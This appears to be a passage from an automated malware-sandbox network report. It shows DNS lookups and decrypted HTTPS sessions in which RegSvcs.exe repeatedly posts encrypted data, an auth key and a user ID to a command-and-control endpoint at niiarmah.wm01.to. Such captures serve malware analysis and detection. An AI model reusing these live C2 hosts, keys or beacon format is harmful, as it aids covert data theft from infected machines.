Dec 6, 2021 12:18:29.782125950 CET	1.2.4.8	192.168.2.4	0x65a	Name error (3)	a6d089361c3e66334521ca401baef106.se	none	none	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:29.998050928 CET	1.2.4.8	192.168.2.4	0xb7ee	Name error (3)	a6d089361c3e66334521ca401baef106.se	none	none	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:31.150785923 CET	8.8.8.8	192.168.2.4	0x88e4	No error (0)	ntp.se		194.58.200.20	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:31.460943937 CET	114.114.114.114	192.168.2.4	0xf363	Name error (3)	a6d089361c3e66334521ca401baef106.se	none	none	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:31.592924118 CET	114.114.114.114	192.168.2.4	0x8112	Name error (3)	a6d089361c3e66334521ca401baef106.se	none	none	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:33.719330072 CET	8.8.8.8	192.168.2.4	0x9d84	No error (0)	niiarmah.wm01.to		45.153.186.90	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

niiarmah.wm01.to

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49774	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Direction	Data
2021-12-06 11:18:34 UTC	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 188 Cache-Control: no-cache
2021-12-06 11:18:34 UTC	OUT	Data Raw: 6b 65 79 61 75 74 68 3d 53 46 42 71 4d 57 46 61 56 45 5a 35 5a 30 31 78 52 46 6c 71 52 48 77 33 4f 47 59 35 4d 54 59 33 4e 7a 55 79 59 7a 55 77 4e 6a 49 79 5a 6a 49 78 4d 54 46 69 5a 6d 4a 68 4d 47 49 31 59 54 6b 79 4e 48 77 79 4d 33 77 78 4e 58 77 78 4e 77 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 30 Data Ascii: keyauth=SFBqMWFaVEZ5Z01xRFlqRHw3OGY5MTY3NzUyYzUwNjIyZjIxMTFiZmJhMGI1YTkyNHwyM3wxNXwxNw==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=0
2021-12-06 11:18:34 UTC	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:18:34 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: close Set-Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:18:34 UTC	IN	Data Raw: 31 31 2d 31 Data Ascii: 11-1

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49775	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:18:34 UTC	0	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 307 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:18:34 UTC	0	OUT	Data Raw: 6d 6f 64 65 3d 51 49 2b 6a 50 58 64 4f 63 2f 2f 73 76 52 33 59 62 70 76 4c 55 67 3d 3d 26 64 61 74 61 3d 7a 55 62 6c 4b 57 6b 4e 73 4d 78 6a 38 41 31 49 65 5a 36 6b 72 61 69 51 68 59 66 67 68 78 54 79 7a 79 43 4c 61 45 4c 78 4e 68 33 34 59 4e 6a 44 33 4c 4e 44 71 51 51 4a 36 44 72 74 6d 6d 45 78 66 57 46 68 73 70 70 42 45 48 2f 4d 68 57 69 71 73 4b 45 41 50 6a 43 49 6c 71 73 36 68 54 69 38 37 67 33 37 50 70 6e 70 32 37 74 56 69 67 31 31 31 2f 4c 55 58 54 68 33 2b 63 36 57 4f 4a 68 63 61 32 49 47 42 79 70 33 42 54 45 78 74 69 59 61 54 35 30 44 51 6c 31 58 70 30 6c 63 52 6e 62 2f 42 2b 7a 55 64 67 63 4e 57 4b 49 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 Data Ascii: mode=QI+jPXdOc//svR3YbpvLUg==&data=zUblKWkNsMxj8A1IeZ6kraiQhYfghxTyzyCLaELxNh34YNjD3LNDqQQJ6DrtmmExfWFhsppBEH/MhWiqsKEAPjCIlqs6hTi87g37Ppnp27tVig111/LUXTh3+c6WOJhca2IGByp3BTExtiYaT50DQl1Xp0lcRnb/B+zUdgcNWKI=&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88
2021-12-06 11:18:35 UTC	1	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:18:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:18:35 UTC	1	IN	Data Raw: 32 Data Ascii: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	49786	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:18:50 UTC	7	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:18:50 UTC	7	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 56 36 73 35 71 68 4b 4c 63 33 2f 4e 67 6e 6a 77 6b 4e 65 35 6f 4e 52 6c 30 6a 5a 31 6c 61 6f 6a 42 50 43 34 68 75 7a 43 79 77 72 77 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4V6s5qhKLc3/NgnjwkNe5oNRl0jZ1laojBPC4huzCywrw==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:18:51 UTC	7	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:18:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:18:51 UTC	7	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.4	49787	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:18:53 UTC	7	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 199 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:18:53 UTC	8	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 58 79 64 4e 4e 53 4c 41 43 31 41 4a 67 54 70 64 32 58 62 4b 35 2b 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4XydNNSLAC1AJgTpd2XbK5+&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:18:53 UTC	8	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:18:53 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:18:53 UTC	8	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.4	49789	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:18:56 UTC	8	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:18:56 UTC	8	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 55 38 35 67 50 36 62 49 4e 56 55 5a 51 35 76 69 72 33 4c 70 64 47 59 59 2f 31 6e 6f 6c 51 70 42 76 62 79 43 47 47 78 71 7a 37 77 77 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4U85gP6bINVUZQ5vir3LpdGYY/1nolQpBvbyCGGxqz7ww==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:18:56 UTC	9	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:18:56 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:18:56 UTC	9	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.4	49790	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:18:58 UTC	9	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:18:58 UTC	9	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 58 2f 39 72 47 6a 72 45 6e 50 55 72 31 50 63 58 65 58 47 45 54 72 70 6b 45 61 72 68 67 41 65 51 66 71 6f 6d 42 41 38 62 41 49 38 41 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4X/9rGjrEnPUr1PcXeXGETrpkEarhgAeQfqomBA8bAI8A==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:18:59 UTC	9	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:18:58 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:18:59 UTC	10	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.4	49791	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:19:01 UTC	10	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:19:01 UTC	10	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 58 70 6c 62 68 73 6e 68 41 32 54 62 52 42 45 44 52 6b 77 53 52 45 46 63 33 61 30 65 59 4f 50 55 41 46 30 45 4d 78 65 69 4c 67 4b 41 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4XplbhsnhA2TbRBEDRkwSREFc3a0eYOPUAF0EMxeiLgKA==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:19:01 UTC	10	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:19:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:19:01 UTC	10	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.4	49792	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:19:04 UTC	10	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 199 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:19:04 UTC	10	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 58 58 77 61 6c 77 6a 6f 71 46 75 75 76 71 35 61 57 4d 6c 69 56 6c 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4XXwalwjoqFuuvq5aWMliVl&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:19:04 UTC	11	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:19:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:19:04 UTC	11	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.4	49793	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:19:06 UTC	11	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:19:06 UTC	11	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 56 72 54 46 42 79 39 4b 4e 76 53 53 39 4f 39 43 4d 64 54 73 54 64 69 70 77 79 2f 56 49 61 65 5a 42 38 79 73 4f 32 70 32 34 70 4e 41 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4VrTFBy9KNvSS9O9CMdTsTdipwy/VIaeZB8ysO2p24pNA==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:19:06 UTC	11	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:19:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:19:06 UTC	12	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.4	49794	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:19:09 UTC	12	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:19:09 UTC	12	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 58 4e 61 76 42 59 66 77 49 4c 6f 45 39 61 73 37 6d 78 53 64 4b 50 53 34 52 66 76 57 61 58 4c 2b 49 2b 4d 71 33 30 4f 6e 38 50 46 41 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4XNavBYfwILoE9as7mxSdKPS4RfvWaXL+I+Mq30On8PFA==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:19:09 UTC	12	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:19:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:19:09 UTC	12	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.4	49803	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:19:11 UTC	12	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 223 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:19:11 UTC	13	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 57 44 31 6c 75 79 53 4d 38 2b 75 31 2b 4a 75 45 43 57 6f 64 61 51 4d 69 72 71 71 75 37 69 51 4c 68 47 55 68 62 41 77 4f 33 32 62 67 3d 3d 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4WD1luySM8+u1+JuECWodaQMirqqu7iQLhGUhbAwO32bg==&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:19:12 UTC	13	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:19:12 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:19:12 UTC	13	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.4	49817	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-06 11:19:14 UTC	13	OUT	POST /recv5.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: WebMonitor Client Host: niiarmah.wm01.to Content-Length: 199 Cache-Control: no-cache Cookie: PHPSESSID=cf04jibacq6sr07ohr6u5ob9n4
2021-12-06 11:19:14 UTC	13	OUT	Data Raw: 6d 6f 64 65 3d 38 36 72 43 6e 50 49 4c 41 65 51 58 4d 55 2b 79 30 6e 6d 75 6e 51 3d 3d 26 64 61 74 61 3d 61 52 35 32 6e 52 75 6b 78 4b 58 77 69 63 66 77 42 68 36 2b 5a 56 59 68 65 4b 39 4c 70 6f 54 37 45 6c 46 72 52 58 61 7a 74 34 58 67 75 45 6e 4e 72 74 36 54 4e 57 75 61 6c 42 7a 64 42 36 78 4b 26 6b 65 79 3d 34 45 63 44 48 48 37 61 57 62 6c 35 30 4c 61 79 55 6e 75 52 6c 4a 57 55 58 69 4b 51 57 6b 30 4f 26 75 69 64 3d 38 37 63 63 38 38 64 64 36 66 33 39 65 39 36 66 30 37 34 65 37 64 38 36 65 30 32 65 35 61 63 33 26 75 73 65 72 3d 6e 69 69 61 72 6d 61 68 26 63 6d 70 3d 30 26 65 6e 63 3d 31 Data Ascii: mode=86rCnPILAeQXMU+y0nmunQ==&data=aR52nRukxKXwicfwBh6+ZVYheK9LpoT7ElFrRXazt4XguEnNrt6TNWualBzdB6xK&key=4EcDHH7aWbl50LayUnuRlJWUXiKQWk0O&uid=87cc88dd6f39e96f074e7d86e02e5ac3&user=niiarmah&cmp=0&enc=1
2021-12-06 11:19:14 UTC	14	IN	HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) Date: Mon, 06 Dec 2021 11:19:14 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 1 Connection: close Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache
2021-12-06 11:19:14 UTC	14	IN	Data Raw: 30 Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49776	45.153.186.90	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	kBytes transferred	Direction	Data
